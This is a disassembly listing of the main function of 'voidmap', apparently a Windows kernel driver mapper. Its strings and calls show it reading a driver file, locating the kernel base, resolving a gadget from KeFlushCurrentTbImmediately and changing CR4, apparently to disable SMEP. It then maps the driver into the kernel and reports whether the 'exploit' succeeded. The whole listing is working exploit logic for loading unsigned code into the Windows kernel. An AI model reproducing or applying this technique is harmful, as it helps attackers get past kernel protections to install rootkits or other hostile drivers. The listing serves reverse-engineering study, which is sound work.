Function at 0x140001a50
Capabilities:
Get file size
Get system information on windows
Make suspicious ntquerysysteminformation call
Parse pe header
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x188], rax
mov edi, ecx
mov rsi, rdx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 0xd
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.voidmap
lea rcx, [0x140020b14]
call fcn.140001810
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Mar__6_2024
lea rcx, str.build_on__s_n_n
call fcn.140001810
cmp edi, 2
je 0x140001add
lea rcx, str.Invalid_parameters__read_README_in_official_repo__github.com_SamuelTulach_voidmap_
call fcn.1400019d0
mov eax, 0xffffffff
jmp 0x140001ee0
lea rcx, str.Reading_driver_file...
mov qword [rsp + 0x190], r15
call fcn.140001950
mov rcx, qword [rsi + 8]
xor r15d, r15d
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000206c
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140002063
mov rcx, qword [rsp + 0x40]
call fcn.140006850
mov rbx, rax
test rax, rax
je 0x140002063
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x180]
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
jne 0x140001b90
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140008cd0
jmp 0x14000206c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x40]
mov qword [0x140025cd8], rbx
cmp rax, 0x40
jb 0x14000204d
mov ecx, 0x5a4d
cmp word [rbx], cx
jne 0x14000204d
movsxd rdx, dword [rbx + 0x3c]
add rax, 0x108
add rdx, rbx
add rax, rbx
cmp rdx, rax
ja 0x14000204d
cmp dword [rdx], 0x4550
jne 0x14000204d
mov edx, dword [rdx + 8]
lea rcx, str.Driver_timestamp:__llu
mov qword [rsp + 0x198], r14
call fcn.140001a10
lea rcx, str.Getting_kernel_base...
call fcn.140001950
xor r8d, r8d
mov dword [rsp + 0x180], r15d
lea r9, [rsp + 0x180]
lea rdx, [rsp + 0x180]
lea ecx, [r8 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000203a
mov ecx, dword [rsp + 0x180]
call fcn.140006850
mov r14, rax
test rax, rax
je 0x14000203a
mov r8d, dword [rsp + 0x180]
xor r9d, r9d
mov rdx, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
lea rbx, str.ntoskrnl.exe
test eax, eax
js 0x140001ddb
mov qword [rsp + 0x1d0], r12
mov r12, r15
cmp qword [r14], r15
jbe 0x140001dd3
mov qword [rsp + 0x1c0], rbp
lea rcx, [r14 + 8]
mov qword [rsp + 0x1d8], r13
nop dword [rax]
mov eax, dword [rsp + 0x180]
lea r13, [rcx + 0x128]
add rax, r14
cmp r13, rax
ja 0x140001dc3
lea rdx, [rsp + 0x50]
mov eax, 2
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rax, 1
jne 0x140001cd0
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x20]
lea rsi, [rsp + 0x78]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov qword [rdx + 0x20], rax
mov byte [rsp + 0x177], r15b
mov ecx, 0x6e
call fcn.140008ca4
movsx ebp, byte [rsi]
mov edi, eax
mov ecx, ebp
call fcn.140008ca4
cmp eax, edi
jne 0x140001d91
cmp byte [rbx], r15b
je 0x140001db7
lea rcx, str.ntoskrnl.exe
mov rax, rsi
sub rax, rcx
inc rbx
movsx ecx, byte [rax + rbx]
call fcn.140008ca4
movsx ecx, byte [rbx]
mov edi, eax
call fcn.140008ca4
cmp edi, eax
je 0x140001d60
cmp byte [rbx], r15b
je 0x140001db7
inc rsi
lea rbx, str.ntoskrnl.exe
test bpl, bpl
jne 0x140001d46
inc r12
lea rbx, str.ntoskrnl.exe
mov rcx, r13
cmp r12, qword [r14]
jae 0x140001dc3
jmp 0x140001ca0
mov r15, qword [rsp + 0x60]
lea rbx, str.ntoskrnl.exe
mov r13, qword [rsp + 0x1d8]
mov rbp, qword [rsp + 0x1c0]
mov r12, qword [rsp + 0x1d0]
mov rcx, r14
call fcn.140008cd0
mov qword [0x140025cd0], r15
test r15, r15
je 0x140002041
mov rdx, r15
lea rcx, str.Kernel_base:_0x_p
call fcn.140001a10
lea rcx, str.Loading_kernel_image_locally...
call fcn.140001950
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rbx, rax
test rax, rax
je 0x14000202e
mov rdx, rax
lea rcx, str.Local_base:_0x_p
call fcn.140001a10
lea rcx, str.Resolving_KeFlushCurrentTbImmediately...
call fcn.140001950
lea rdx, str.KeFlushCurrentTbImmediately
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000202e
mov rdx, rax
lea rcx, str.KeFlushCurrentTbImmediately:_0x_p
call fcn.140001a10
lea rcx, str.Resolving_gadget_address...
call fcn.140001950
mov rcx, qword [0x140025cd0]
sub rcx, rbx
lea rbx, [rcx + 0x17]
add rbx, rdi
lea rcx, str.Gadget:_0x_p
mov rdx, rbx
call fcn.140001a10
lea rcx, str.Setting_thread_priority...
call fcn.140001950
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
jne 0x140001efb
lea rcx, str.Failed_to_set_thread_priority_
call fcn.1400019d0
mov eax, 0xffffffff
mov r14, qword [rsp + 0x198]
mov r15, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.140002410
add rsp, 0x1a0
pop rdi
pop rsi
pop rbx
ret
lea rcx, str.Thread_priority_set
call fcn.140001a10
lea rcx, str.Setting_current_process_affinity...
call fcn.140001950
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
test eax, eax
jne 0x140001f34
lea rcx, str.Failed_to_set_thread_affinity_
jmp 0x140001ec6
lea rcx, str.Thread_affinity_set
call fcn.140001a10
lea rcx, str.Changing_cr4...
call fcn.140001950
mov edx, 0x506f8
mov rcx, rbx
call fcn.140001680
test eax, eax
je 0x140002022
lea rcx, str.Calling_mapper_itself...
call fcn.140001950
xor edx, edx
lea rcx, [0x140002190]
call fcn.140001680
test eax, eax
je 0x140002022
lea rcx, str.Checking_kernel_callback...
call fcn.140001950
cmp dword [0x140025cb4], 0
jne 0x140001fa4
lea rcx, str.Callback_function_was_not_called__exploit_was_unsuccessful_
jmp 0x140001ec6
lea rcx, str.Callback_called
call fcn.140001a10
lea rcx, str.Checking_status...
call fcn.140001950
mov edx, dword [0x140024a74]
test edx, edx
jne 0x140001fe6
lea rcx, str.Driver_was_mapped_successfully_
call fcn.140001a10
mov edx, dword [0x140024a70]
lea rcx, str.Driver_status:_0x_p
call fcn.140001a10
jmp 0x140001ff2
lea rcx, str.Failed_driver_map:_0x_p
call fcn.1400019d0
lea rcx, str.Restoring_cr4...
call fcn.140001950
mov edx, 0x1506f8
mov rcx, rbx
call fcn.140001680
test eax, eax
je 0x140002022
lea rcx, str.Everything_successful
call fcn.140001a10
xor eax, eax
jmp 0x140001ed0
lea rcx, str.Failed_to_call_function_
jmp 0x140001ec6
lea rcx, str.Failed_to_load_kernel_image_locally_
jmp 0x140001ec6
mov qword [0x140025cd0], r15
lea rcx, str.Could_not_get_kernel_base_address_
jmp 0x140001ec6
lea rcx, str.Invalid_image_file_
call fcn.1400019d0
mov eax, 0xffffffff
jmp 0x140001ed8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_read_driver_file_
mov qword [0x140025cd8], r15
call fcn.1400019d0
mov eax, 0xffffffff
jmp 0x140001ed8